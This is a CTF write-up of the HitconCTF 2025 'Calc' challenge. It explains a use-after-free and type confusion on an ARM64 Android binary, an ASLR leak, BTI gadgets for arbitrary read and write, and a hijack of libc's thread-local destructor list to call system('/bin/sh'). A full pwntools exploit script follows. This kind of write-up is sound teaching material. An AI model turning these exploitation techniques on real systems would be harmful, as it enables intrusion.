/..

#CONTENT

#TOP

links
550 bytes2024-12-10 06:38
notes
35 MiB2025-09-04 07:41
posts
6 MiB2025-04-04 17:35
random
225 MiB2025-02-14 17:45
writeups
431 MiB2025-09-07 12:08
all-posts.mdx
753 bytes2025-04-23 20:21
README.mdx
512 bytes2025-02-19 22:32
TODO.md
565 bytes2025-02-24 20:22

HitconCTF 2025: Calc

The binary itself is fairly simple. It presents an interface to create a calculator and numbers array, and operate on the array with the calculator.

C
puts(str: "1. Create integer array.")
puts(str: "2. Delete integer array.")
puts(str: "3. Create calculator.")
puts(str: "4. Delete calculator.")
puts(str: "5. Calculate.")
puts(str: "6. Exit.")
printf(format: "Choice: ")

One of the interesting things about the challenge is that the system is using Android libraries, plus PAC and BTI are enabled (BTI will be relevant later). The other interesting part of the challenge is the format of the calculator vtable. Normally the vtable is just an array of function pointers, but here the format is more like a jump table:

C
struct Ops OPS =
{
int32_t init = 0x10c64
int32_t sum = 0x10cb0
int32_t eor = 0x10d20
int32_t mod = 0x10da4
int32_t add = 0x10e58
int32_t sub = 0x10ed4
int32_t mul = 0x10f50
}

The address of each function is calculated by taking the address of OPS and adding the offset for that function.

#uaf

This is the calculator struct, which has a size of 0x18 bytes.

C
struct Calc __packed
{
struct Ops* ops;
uint64_t n;
int32_t status;
uint32_t padding;
};

The numbers array is just uint32_t[6], also 0x18 bytes.

There is a single global instance of the calculator and single global instance of the numbers array. When deleting either the calculator or numbers array the pointer is not nulled out, allowing uaf access to the instance or type confusion by reallocating one structure as another. Creating a calculator, freeing it, then creating a numbers array allows full control over the contents of the calculator.

#aslr leak

The first step is to get an aslr leak. In order to supply a fake vtable a binary leak is needed.

Whenever a calculator operation is performed, it starts by summing the contents of the numbers array and stores the result in the first index of the numbers array. While the numbers array is overlapped with the calculator this sum step would overwrite the lower 32 bits of calc->ops with garbage, crashing the program. This is where the magic -0xaaa9 number comes in. The upper 32 bits of the binary base is always 0x0000aaaa and -0xaaa9 is interpreted as two uint32_t entries in the numbers array, -1 and -0xaaa9 (since the -0xaaa9 gets signed extended to 64 bits). When the sum operation completes the lower 32 bits of calc->ops remain undisturbed since everything cancels out. The important part is after the addition operation completes calc->n will be set to the lower 32 bits of calc->ops plus some constant value.

Now this value can be leaked by abusing the calculator modulus functionality, which sets calc->status based on the highest bit of calc->n.

C
uint64_t calc_mod(struct Calc* calc)
calc->status = 0

if (ARR == 0)
calc->status = 0xffffffff
else if (calc->n s<= 0)
calc->status = 1
else
struct Ops* ops = calc->ops
int64_t x8_7 = sx.q((ops + sx.q(ops->sum))())
uint64_t n = calc->n
calc->n = x8_7 s% n

return zx.q(calc->status)

#gadgets

This was the step that took the longest, mostly because we didn't realize that BTI was on until 8 hours into our manual gadget search (It was 6am and we were very tired). BTI actually makes the gadget search simpler because it restricts our options to a very small subset of the functions. Most of the functions are cpp exception handling code, but two of the functions stood out as interesting:

write gadgetC
   1 
   2 
   3 
0003ca70    void sub_3ca70(void* arg1)
0003ca70 SystemHintOp_BTI()
0003ca88 **(arg1 + 8) = *(arg1 + 0x10)
read gadgetC
   1 
   2 
   3 
   4 
__int64 __fastcall sub_3CA94(__int64 a1)
{
return **(unsigned int **)(a1 + 8);
}

These gadgets allow arbitrary read/write using the calculator/numbers array overlapping.

#rce

I mentioned before that the system is using Android libraries. The libc is no longer glibc, but whatever c standard library that Android ships. The first thing I looked for was free/malloc hooks. Looking at the decompilation of the libc, surprising there were free/malloc hooks present.

C
int64_t malloc(int64_t arg1)
void* x8 = data_4f4048
uint64_t x0_1

if (x8 != 0)
x0_1 = (*(x8 + 0x18))(arg1)

Only issue was that the arbitrary write gadget was only able to write 32 bits at a time which meant it wasn't possible to write a full pointer into the hook in one write. This make the hooks useless since the arbitrary write involved calling both malloc and free, so leaving the hook partially initialized would crash the exploit.

The other common rce method that I use for glibc is attacking exit functions. I went digging through the exit implementation and found this:

C
void exit(int32_t arg1) __noreturn
__cxa_thread_finalize()
__cxa_finalize(0)
_exit(arg1)
noreturn

void __cxa_thread_finalize()
void* x20 = *(_ReadMSR(SystemReg: tpidr_el0) + 8)

for (int64_t* i = *(x20 + 0xe8); i != 0; i = *(x20 + 0xe8))
*(x20 + 0xe8) = i[3]
(*i)(i[1])

if (__loader_remove_thread_local_dtor != 0)
__loader_remove_thread_local_dtor(i[2])

operator delete[](i)

TPIDR_EL0 is the register that holds the address of the TLS base. While directly reading this register is impossible with the available gadgets, the TLS address is also present in the linker and can be leaked using the arbitrary read gadget. Once the TLS address is known setting up a call to system("/bin/sh") is trivial.

#solve script

solve.pyPY
from pwn import *
import builtins

mask = 0xffffffff
buffering = False
backup = b""

def buffer():
global buffering
buffering = True

def flush(after: bytes):
global buffering, backup
buffering = False
p.sendafter(after, backup)
backup = b""

def send(after: bytes, val, line=False):
global backup

match type(val):
case builtins.int | builtins.str:
val = f"{val}".encode()
case builtins.bytes:
pass
if line: val += b"\n"
if buffering:
backup += val
else:
p.sendafter(after, val)

def sendline(after: bytes, val):
send(after, val, line=True)

if args.REMOTE:
p = remote("calc.chal.hitconctf.com", "31337")
else:
p = remote("localhost", 31337)
context.terminal = ["kitty"]
script = """
codebase
set $arr=(long *)($codebase+0x4b3c8)
set $calc=(long *)($codebase+0x4b3d0)
c
"""
gdb.attach(("localhost", 1234), exe="./calc", gdbscript=script, sysroot="../../")

def narr(vals: list[int]):
sendline(b":", 1)
for i in range(6):
sendline(b":", vals[i])

def narrb(vals: list[int]):
payload = b"\n".join([f"{n}".encode() for n in vals])
p.sendlineafter(b":", b"1\n" + payload)
for _ in range(6):
p.recvuntil(b":")

def darr():
sendline(b":", 2)

def ncal(n: int):
sendline(b":", 3)
sendline(b":", n)

def dcal():
sendline(b":", 4)

def calc(op: int):
sendline(b":", 5)
sendline(b":", op)
if buffering:
return 0
else:
p.recvuntil(b"Status: ")
return int(p.recvline())

def dwords(ns: list[int]):
ret = []
for n in ns:
ret.append(n & mask)
ret.append((n >> 32) & mask)
return ret

buffer()
leaks = []
for i in range(32):
narr([0] * 6)
darr()

ncal(-0xaaa9 & mask)
calc(4)

for _ in range(2):
narr([1 << 16] + [0] * 5)
calc(5)
darr()

narr([1 << i] + [0] * 5)
calc(5)

leak = calc(2)
# print(leak)
# leaks.append(leak)

dcal()
darr()

flush(b":")
for i in range(32):
for _ in range(5):
p.recvuntil(b"Status: ", timeout=5)
leaks.append(int(p.recvline()))

leak = int("".join(map(str, leaks)), 2)
log.info(f"{leak = :#x}")

"""
leak = fixup - (upper + UNKNOWN + fixup + other)
leak = fixup - upper - UNKNOWN - fixup - other
UNKNOWN = fixup - upper - fixup - other - leak
"""
upper = 0xaaaa
fixup = -0xaaa9 & mask
other = 0xffffffff
leak = fixup - upper - fixup - leak - other & mask
filebase = (upper << 32) | (leak - 0x77c4)
log.info(f"{filebase = :#x}")

def arbread(addr: int):
buffer()
"""
0xa168 + 0xc -> 0x3ca94
"""
reader = filebase + 0xa168
ncal(0)
dcal()
narr(dwords([reader, addr, 0]))
lo = calc(2) & mask
darr()

ncal(0)
dcal()
narr(dwords([reader, addr + 4, 0]))
hi = calc(2) & mask
darr()

flush(b":")
p.recvuntil(b"Status: ")
lo = int(p.recvline()) & mask
p.recvuntil(b"Status: ")
hi = int(p.recvline()) & mask
for _ in range(1):
p.recvuntil(b":")

return lo | (hi << 32)

def arbwrite(addr: int, val: int):
buffer()
"""
0xa168 + 0x8 -> 0x3ca70
"""
writer = filebase + 0xa168
ncal(0)
dcal()
narr(dwords([writer, addr, val & mask]))
calc(1)
darr()

ncal(0)
dcal()
narr(dwords([writer, addr + 4, (val >> 32) & mask]))
calc(1)
darr()

flush(b":")
for _ in range(2):
p.recvuntil(b"Status: ")
for _ in range(1):
p.recvuntil(b":")

leak = arbread(filebase + 0x47238)
log.info(f"{leak = :#x}")
libcbase = leak - 0x83a94
log.info(f"{libcbase = :#x}")
libc = ELF("./libc.so", checksec=False)
libc.address = libcbase

leak = arbread(libcbase + 0xdacd0)
log.info(f"{leak = :#x}")
linkbase = leak - 0xd1640
log.info(f"{linkbase = :#x}")

leak = arbread(linkbase + 0x189020)
log.info(f"{leak = :#x}")
tls = leak - 0x50
log.info(f"{tls = :#x}")

thread = arbread(tls + 8)
log.info(f"{thread = :#x}")

target = filebase + 0x4b430
shell = libcbase + 0x1f12f
arbwrite(target, libc.sym.system)
arbwrite(target + 8, shell)
arbwrite(thread + 0xe8, target)

p.interactive()

# 0x0000000024ae9d93